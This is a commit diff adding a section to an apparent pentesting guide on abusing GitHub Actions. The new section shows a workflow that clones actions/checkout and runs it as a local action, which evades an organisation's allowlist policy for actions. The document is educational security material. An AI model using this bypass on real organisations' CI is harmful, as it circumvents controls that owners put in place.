Skip to content

Commit 5beb55e

Browse files
committed
f
1 parent e7dd127 commit 5beb55e

File tree

1 file changed

+27
-0
lines changed
  • src/pentesting-ci-cd/github-security/abusing-github-actions

1 file changed

+27
-0
lines changed

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -450,6 +450,33 @@ gh-actions-artifact-poisoning.md
450450

451451
## Post Exploitation from an Action
452452

453+
### Github Action Policies Bypass
454+
455+
As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
456+
457+
Example:
458+
459+
```yaml
460+
on: [push, pull_request]
461+
462+
jobs:
463+
test:
464+
runs-on: ubuntu-latest
465+
steps:
466+
- run: |
467+
mkdir -p ./tmp
468+
git clone https://github.com/actions/checkout.git ./tmp/checkout
469+
470+
- uses: ./tmp/checkout
471+
with:
472+
repository: woodruffw/gha-hazmat
473+
path: gha-hazmat
474+
475+
- run: ls && pwd
476+
477+
- run: ls tmp/checkout
478+
```
479+
453480
### Accessing AWS and GCP via OIDC
454481

455482
Check the following pages:

0 commit comments

Comments
 (0)